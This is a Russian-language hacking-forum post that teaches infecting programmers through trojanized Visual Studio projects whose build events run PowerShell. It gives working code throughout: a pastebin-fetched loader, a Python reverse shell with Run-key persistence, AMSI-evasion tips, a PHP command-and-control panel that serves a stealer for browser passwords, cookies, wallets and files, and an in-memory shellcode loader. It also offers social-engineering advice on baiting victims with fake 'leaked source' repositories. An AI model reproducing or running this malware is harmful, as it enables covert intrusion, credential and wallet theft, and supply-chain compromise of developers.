Используем техники настоящих APT

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
7,534
Реакции
36
Что бы воспользоваться данными методами из статьи вам не обязательно нужно быть программистом, или вирусописателем, статья не только носит ознакомительный характер, но и позволит вам конструировать свои решения, или воспользоваться приведёнными в ней.

Не часто, но хотелось бы что бы почаще, вам требуется закинуть полезную нагрузку именно не массово, а для конкретных целей, например получить исходники какого нибудь приложения, подписи или необходимые доступы.

Смоделируем ситуацию, при которой нам необходимо будет прорваться через не глупого пользователя пк, давайте попробуем атаковать программиста. Зачастую программист это не безопасник, и так или иначе исходный код программы ему виден, что ему внушает доверие, этим мы и воспользуемся...

Думаю ни для кого из профессиональных специалистов комментирующих данный тред, не будет удивлением новость о том, что малварь можно распространять через гитхаб, мы все прекрасно читали в новостях, что тут и там появляются трояны, то в репозиториях арчлинукса, в питоновском pypi и еще бог знамо где. Все они вызывают нехилый интерес и по этому попадают в новости, нам же лучше в новости не попадать и по этому мы будем действовать наиболее скрытным образом, например постараемся сделать без файловый лоадер, и загрузить его троянским методом на компьютер жертвы.

Нам нужно построить модель в голове, которая помогала бы нам понять как происходит заражение, нарисуем простую схему, которая будет это иллюстрировать:


10829



Давайте придумаем лоадер который будет загружать дистрибутив портабельного пайтона, распаковывать его, создавать простейший реверсшелл под сервер которым будет выступать netcat, в принципе если достаточно хорошо почистить, например заменив - всеми используемые функции на аналоги - то мы получим нормальную - тихую сборку, например заменив:


Код:
Invoke-Expression $script


на его аналог из С#, что позволит нехило сэкономить нервы при работе с amsi


Код:
[powershell]::Create().AddScript($script).Invoke()


И это только только один пример из множества...

Демонстрация работы скрипта по этой схеме:


https://youtu.be/YGsXUBgg60c


Так же судя по всему очень набирает обороты тема безфайловой малвари, тут тоже есть чему разгуляться, например установить все тот же портабельный пайтон на машину жертвы и запускать скрипты для питона - из командной строки, как показано в этом видео:


https://youtu.be/BQlz8ugfvWI


Программиста нужно привлечь его чем-нибудь вкусным, как мотылька на огонёк, так делают многие - например вкусным исходником слитой тулзы... Не мне говорить вам о простой социальной инженерии, но приведу пример - зачастую на тематических телеграм каналах, постятся ссылки на слитые исходники, например движка source, или любого другого приложения (это кстати хорошая платформа для троянов из этой статьи), что может представлять интерес для человека, в нашем же случае не обязательно даже то - что бы исходники вы сами - могли скомпилировать - подойдет в буквальном смысле - любой мусор, главное что бы он выглядел презентабельно, можно конечно попросить человека «за денежку» скомпилировать, никто поверьте не откажется от такой подработки.

Главное в нашем деле начать а потом уже будет ясно, установим крайнею «Visual Studio 2019» с официального сайта Майкрософт, это делается для того что бы захватить как можно большую аудиторию, ведь майки тут и там заставляют качать именно её.

При установке Visual Studio - вам для разнообразия можно установить средства сборки для C# и С++, так мы сможем сделать больший охват нашей аудитории. Устанавливаем как это показано на скриншотах:


10830



Скачиваем версию комьюнити - она бесплатна


10831



Ставим галочки как показано на скриншоте для NET и С++ проектов


10832



Отказываемся создавать учетную запись, оно нам нужно?


Создадим новый проект, для примера я выберу С#, под NET, на самом деле вы можете выбрать и С++, пример проекта на плюсах был в прошлом ролике...


10834






После создания проекта, перейдем в его "свойства"


10835



Там во вкладке меню "События сборки" вы можете увидеть такое поле:


10836



В С++ оно будет выглядеть немного по другому, но они по идее равнозначны, выполняют одни и те же функции.


10838



Теперь давайте пройдемся по самому важному - по полезной нагрузке, я приведу небольшой скрипт и расскажу что он делает:

Данная строка скачивает с официального сайта портабельную версию пайтона, у вас это может быть любой экзешник, хоть стиллер, хоть ботнет


Код:
Invoke-WebRequest -Uri "https://www.python.org/ftp/python/3.8.3/python-3.8.3-embed-win32.zip" -OutFile $env:ProgramData/python.zip;


Тут происходит разархивация архива в папку


Код:
Expand-Archive "$env:ProgramData/python.zip" -DestinationPath "$env:ProgramData/p" -Force;


Потом мы можем создать скрипт в дирректории с питоном, или применить любую другую полезную нагрузку, я например создам скрипт в дирректории, средствами самого пауршелла


Код:
 		Add-Content -Value "import socket`nimport subprocess`nimport time`nimport re`nimport os, sys`nfrom threading import Thread`n`ndef commandThread(command,s):`n`tCMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)`n`ts.send(CMD.stdout.read())`n`ts.send(CMD.stderr.read())`n`nif __name__ == `'__main__`':`n`tspath = os.path.realpath(__file__)`n`tsdir = os.path.dirname(spath)`n`tos.chdir(sdir)`n`twhile True:`n`t`ttry:`n`t`t`ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)`n`t`t`ts.connect(('127.0.0.1', 80))`n`t`t`twhile True:`n`t`t`t`tthread1 = Thread(target=commandThread, args=(s.recv(8192).decode(encoding='ascii'),s))`n`t`t`t`tthread1.start()`n`n`t`texcept Exception as e:`n`t`t`ttime.sleep(3)`n" -Path "$env:ProgramData/p/rs.py";


Добавим получившийся скрипт в автозапуск:


Код:
$Runner = "`"{0}`" `"{1}`"" -f "$env:ProgramData\p\pythonw.exe", "$env:ProgramData\p\rs.py"; New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Python" -Value $Runner | Out-Null;


И можете ждать перезапуска компьютера, наш скрипт подключится к неткату и позволит хозяйничать на машине жертвы, вы так же можете переделать его под любые нужны, доустановить в него pip, с помощью скрипта get-pip.py, необходимые вам модули, например для расшифровки паролей из браузеров и многое другое...

А теперь демонстрация того что нужно делать:


https://youtu.be/mzK450o2NdY


А вот код который нужно по итогу вставить на пастебин:


Код:
 		Invoke-WebRequest -Uri "https://www.python.org/ftp/python/3.8.3/python-3.8.3-embed-win32.zip" -OutFile $env:ProgramData/python.zip;Expand-Archive "$env:ProgramData/python.zip" -DestinationPath "$env:ProgramData/p" -Force;Add-Content -Value "import socket`nimport subprocess`nimport time`nimport re`nimport os, sys`nfrom threading import Thread`n`ndef commandThread(command,s):`n`tCMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)`n`ts.send(CMD.stdout.read())`n`ts.send(CMD.stderr.read())`n`nif __name__ == `'__main__`':`n`tspath = os.path.realpath(__file__)`n`tsdir = os.path.dirname(spath)`n`tos.chdir(sdir)`n`twhile True:`n`t`ttry:`n`t`t`ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)`n`t`t`ts.connect(('127.0.0.1', 80))`n`t`t`twhile True:`n`t`t`t`tthread1 = Thread(target=commandThread, args=(s.recv(8192).decode(encoding='ascii'),s))`n`t`t`t`tthread1.start()`n`n`t`texcept Exception as e:`n`t`t`ttime.sleep(3)`n" -Path "$env:ProgramData/p/rs.py";$Runner = "`"{0}`" `"{1}`"" -f "$env:ProgramData\p\pythonw.exe", "$env:ProgramData\p\rs.py";New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Python" -Value $Runner | Out-Null;


И код который выполнит его из сети, который внедряем в проект вижуал студио:


Код:
 		powershell.exe -c $script = Invoke-RestMethod -Uri 'https://pastebin.com/raw/JMy5mnyt' -Method Get;[powershell]::Create().AddScript($script).Invoke();


Вы можете свободно написать тысячи программ и скриптов на пауршелле, этот язык программирования достаточно прост в освоении, он легче чем пайтон или любой взятый, вы можете с легкостью соорудить любой ботнет или стиллер... Тем более он прекрасно совместим с C#. Вы всё так же можете прогружать скрипты из сети и выполнять их в памяти, например вот стиллер для стареньких хромов, оформленный в виде админки на пхп, писалось мной недавно, до эпохальных событий изменений в хроме


Код:
 		<?php     //заголовок для отображения текста на странице     header("Content-Type: text/plain; charset=utf-8");     ini_set("max_execution_time", 0);     ini_set("upload_max_filesize", "100M");     ini_set("post_max_size", "100M");      function SendRatReq()     {         echo '                 $id = $(get-wmiobject Win32_ComputerSystemProduct -computername . | Select-Object -ExpandProperty UUID) -replace "-",":";                 $us = $env:UserName;                 $os = $env:COMPUTERNAME;                 $url = "{0}/?id={1}&us={2}&os={3}" -f $s, $id, $us, $os;                 while (1)                 {                     Start-Sleep -Seconds 5;                     $script = Invoke-RestMethod -Uri $url -Method Get;                     if($script -gt 0)                     {                         Invoke-Expression $script;                     };                 };';         exit;     }      function SendPswdReq()     {         echo '                 $PASSWORDARR  = @();                 $COOKIEARR    = @();                 $CR_LOGINDATA = "Login Data";                 $CR_COOKIES   = "Cookies";                 $CR_WEBDATA   = "Web Data";                 $CR_HISTORY   = "History";                 $CR_FILES     = $CR_LOGINDATA, $CR_COOKIES, $CR_WEBDATA, $CR_HISTORY, "recentservers.xml", "sitemanager.xml", "*ftp*.xml", "*ftp*.ini", "accounts.xml", "exodus.wallet", "keystore", "*.wallet", "*let.dat", "*.pem", "map1", "map0", "D877F783D5D3EF8C0", "D877F783D5D3EF8C1", "*.txt", "*.doc", "*.docx", "*.rtf";                 $FILEDB_ARR   = @(Get-ChildItem -Path "$Env:LOCALAPPDATA", "$Env:APPDATA", "$Env:HOMEPATH/Desktop" -Include $CR_FILES -Recurse -ErrorAction SilentlyContinue);                 $FOLDER       = "{0}\data" -f "$Env:TEMP";                 $FILEZIP      = "{0}\arch.zip" -f "$Env:TEMP";                 $PASSFILE     = "{0}\PASSLOG.txt" -f "$Env:TEMP";                 $COOKIES      = "{0}\COOKIES.txt" -f "$Env:TEMP";                 $SCRSHOT      = "{0}\SCREEN.bmp" -f "$Env:TEMP";                  New-Item -Path $FOLDER -ItemType Directory;                  if ($FILEDB_ARR.Length -gt 0)                 {                     $sqlite = "{0}/System.Data.SQLite.dll" -f $s;                     $interl = "{0}/SQLite.Interop.dll" -f $s;                      $SQLitePath = "{0}/System.Data.SQLite.dll" -f "$Env:TEMP";                     $SQIntrPath = "{0}/SQLite.Interop.dll" -f "$Env:TEMP";                      Invoke-WebRequest -Uri $sqlite -OutFile $SQLitePath;                     Invoke-WebRequest -Uri $interl -OutFile $SQIntrPath;                      Add-Type -AssemblyName System.Security;                     [System.Reflection.Assembly]::LoadFile($SQLitePath) | Out-Null;                                        foreach ($FILEDB in $FILEDB_ARR)                     {                         if ($FILEDB.BaseName -eq $CR_LOGINDATA)                         {                             $DB = "{0}\db{1}" -f "$Env:TEMP", -join ((33..126) | Get-Random -Count 10);                             Copy-Item -Path $FILEDB -Destination $DB;                             $conn = New-Object System.Data.Sqlite.SqliteConnection -ArgumentList "Data Source=$DB;";                             $conn.Open();                             $command = New-Object System.Data.SQLite.SQLiteCommand("select signon_realm, username_value, password_value from logins;", $conn);                             $reader  = $command.ExecuteReader();                             while ($reader.Read())                             {                                 $enc = [system.text.encoding]::Default;                                 $password_value = $enc.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($reader["password_value"], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser));                                 $PASSWORDARR += "URL: {0}`nUSR: {1}`nPWD: {2}`n`n" -f $reader["signon_realm"], $reader["username_value"], $password_value;                             }                             Remove-Item -Path $DB -Force;                         } elseif ($FILEDB.BaseName -eq $CR_COOKIES)                         {                             $DB = "{0}\db{1}" -f "$Env:TEMP", -join ((33..126) | Get-Random -Count 10);                             Copy-Item -Path $FILEDB -Destination $DB;                             $conn = New-Object System.Data.Sqlite.SqliteConnection -ArgumentList "Data Source=$DB;";                             $conn.Open();                             $command = New-Object System.Data.SQLite.SQLiteCommand("select host_key, is_httponly, is_secure, name, path, last_access_utc, encrypted_value from cookies;", $conn);                             $reader = $command.ExecuteReader();                             while ($reader.Read())                             {                                 $enc = [system.text.encoding]::Default;                                 $encrypted_value = $enc.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($reader["encrypted_value"], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser));                                 [string]$is_secure = [bool]$reader["is_secure"];                                 [string]$is_httponly = [bool]$reader["is_httponly"];                                 $COOKIEARR += "{0}`t{1}`t{2}`t{3}`t{4}`t{5}`t{6}" -f $reader["host_key"], $is_secure.ToUpper(), $reader["path"], $is_httponly.ToUpper(), $reader["last_access_utc"], $reader["name"], $encrypted_value;                             }                             Remove-Item -Path $DB -Force;                         } else                         {                             $FILEDS = "{0}\{1}{2}" -f $FOLDER, $FILEDB.BaseName, $FILEDB.Extension;                             Copy-Item -Path $FILEDB -Destination $FILEDS;                         }                     }                      Add-Type -AssemblyName System.Windows.Forms                     Add-type -AssemblyName System.Drawing;                     $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen;                     $bitmap = New-Object System.Drawing.Bitmap $Screen.Width, $Screen.Height;                     $graphic = [System.Drawing.Graphics]::FromImage($bitmap);                     $graphic.CopyFromScreen($Screen.Left, $Screen.Top, 0, 0, $bitmap.Size);                     $bitmap.save($SCRSHOT);                      $PASSWORDARR | Out-File -Append $PASSFILE;                     $COOKIEARR | Out-File -Append $COOKIES;                     Compress-Archive -Force -Path $SCRSHOT -DestinationPath $FILEZIP;                     Compress-Archive -Update -Path $PASSFILE -DestinationPath $FILEZIP;                     Compress-Archive -Update -Path $COOKIES -DestinationPath $FILEZIP;                     Compress-Archive -Update -Path $FOLDER -DestinationPath $FILEZIP;                      Remove-Item -Path $PASSFILE -Force;                     Remove-Item -Path $COOKIES -Force;                     Remove-Item -Path $SCRSHOT -Force;                     Remove-Item -Path $FOLDER -Recurse -Force;                     Remove-Item -Path $SQLitePath -Force;                     Remove-Item -Path $SQIntrPath -Force;                     $wc = New-Object System.Net.WebClient;                     $wc.UploadFile($url, $FILEZIP);                 }';         exit;     }      //конфигурация базы данных     $db_host         =     "localhost";      $db_login         =     "root";          $db_password     =     "1234";        $db_database     =     "databaza";      $db_botable     =     "clients";       //подключение к базе данных с клиентами     $data = mysqli_connect($db_host, $db_login, $db_password, $db_database);      //если все прошло благополучно     if ($data)     {         //если метод запроса клиента - гет         if ($_SERVER["REQUEST_METHOD"] == "GET")         {             //берем время постукивания клиента             $time = date("d-m-Y").", ".date("h:i:s");             //получаем его гуид, имя юзера, oc, адрес             $run = htmlspecialchars($_REQUEST['run']);                        if ($run != NULL)             {                 SendRatReq();             }              $uid = htmlspecialchars($_REQUEST['id']);             $username = htmlspecialchars($_REQUEST['us']);             $osverstion = htmlspecialchars($_REQUEST['os']);             $ipaddr = htmlspecialchars($_SERVER["REMOTE_ADDR"]);             //если они не равны нулю             if ($uid != NULL and $username != NULL and $osverstion != NULL)             {                 //составляем выражение для поиска уже зареганого клиента                 $sql = "SELECT cm FROM clients WHERE id='$uid' AND us='$username' AND os='$osverstion'";                 if ($result = mysqli_query($data, $sql))                 {                     //если клиент есть                     if (mysqli_num_rows($result) > 0)                     {                         while ($row = mysqli_fetch_array($result))                         {                             //если команда для клиента равна нулю                             if ($row['cm'] == NULL)                             {                                 echo "write-host 'hello, d0ct0rW0nd3rta1nm3nt'";                             }                             else                             {                                 if ($row['cm'] == 'pswd')                                 {                                     SendPswdReq();                                 }                             }                         }                     } //если это первое подключение клиента то добавляем его в базу данных                     else                     {                         //подключаем модуль геолокации                         require("geoip.php");                         //получаем страну клиента по айпи                         $country = ip_code($ipaddr);                         //составляем запрос                         $sql = "INSERT INTO clients (id, us, os, ip, tm, cm) VALUES ('$uid', '$username', '$osverstion', '$ipaddr', '$time', '')";                         //вставляем в таблицу                         if (mysqli_query($data, $sql))                         {                             SendPswdReq();                         }                         else                         {                             //echo "ERROR: Could not able to execute $sql. " . mysqli_error($data);                         }                     }                 }                 else                 {                     //echo "ERROR: Could not able to execute $sql. " . mysqli_error($data);                 }             }         }         else         {             $uid = htmlspecialchars($_REQUEST['id']);             $username = htmlspecialchars($_REQUEST['us']);             $osverstion = htmlspecialchars($_REQUEST['os']);                        if (isset($_FILES['file']['tmp_name']))             {                 $fsname   = "1.zip";                 $file = $_FILES['file']['tmp_name'];                 $name = basename($_FILES['file']['name']);                 $ext  = explode(".", $name);                 move_uploaded_file($file, $fsname);             }         }     } ?>


Таким образом мы получаем коннект к машине человека, не обязательно использовать для доставки - бинарники, они зачастую очень сильно ловят детект антивирусами в скантайме и в рантайме, и без сомнения можно сказать, что без цифровой подписи делать теперь нечего, но в тоже время используя только стандартные средства, которые лежат в сети, или на машине жертвы мы можем прорвать глухую оборону там где нас не ждали. Когда то давно люди в шутку и не очень в шутку писали вирусы на batch, это даже можно было назвать искусством... Скоро будет пауршелл и шеллкоды которые будут запускаться в нем, что многие даже используют - просто

пройдитесь по поисковику исследуя пастебин, вы найдете много подобного контента:


Код:
 		Set-StrictMode -Version 2 $DoIt = @' function func_get_proc_address {     Param ($var_module, $var_procedure)          $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')     $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))     return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) } function func_get_delegate_type {     Param (         [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,         [Parameter(Position = 1)] [Type] $var_return_type = [Void]     ) $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),             [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType() } $var_code = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('ТУТ БЫЛА DLL В BASE64')); $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0x0, $var_buffer, $var_code.length) $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero) '@


Для полного понимания картины, просто подумайте о том как много этих самых программистов - еще больше тех кто стремятся ими стать, пара клонов проектов на гитхабе с громкими названиями, множеством звезд-лайков - ничего не будет стоить (так как регистрация там без смс и боли), а в поисковой выдаче гитхаба будет появляться на первых местах, вы сможете легко и быстро начать распространять все что угодно, на аудиторию по всему миру, зачастую аудитория не из бедных, и попадаются вкусные ништяки, например теже доступы к сеткам (незабываем про удаленку), ключи и множество полезных данных. И это только самый примитивный способ доступный множеству людей.

А теперь время ох#$тельных историй. Данный способ хоть и не является пабликом, но работают с ним множество людей, из «белых» шляп, твиттер их я палить не буду, дабы не привлекать внимания к себе и к ним. Код использованный в статье и способ полностью мой, я не разбирался в тонкостях их заражений, но метод распространения придумал совсем не я, а именно те кто пишет статьи о реверсинге школьных стиллеров, со скриншотами переписок из телеграмма. Троянят вообщем школьников (таких как я), потом сливают у себя в ленте их деятельность. Не такие уж вы и белые ребята
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7
Хотя думаю у них выбора зачастую и нет изучать инфосек, кроме как самим не погружаться в эту работу и среду.

Так что метода работает и вам желаю быть такими же классными как и всегда


Автор: shkolnick1337
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.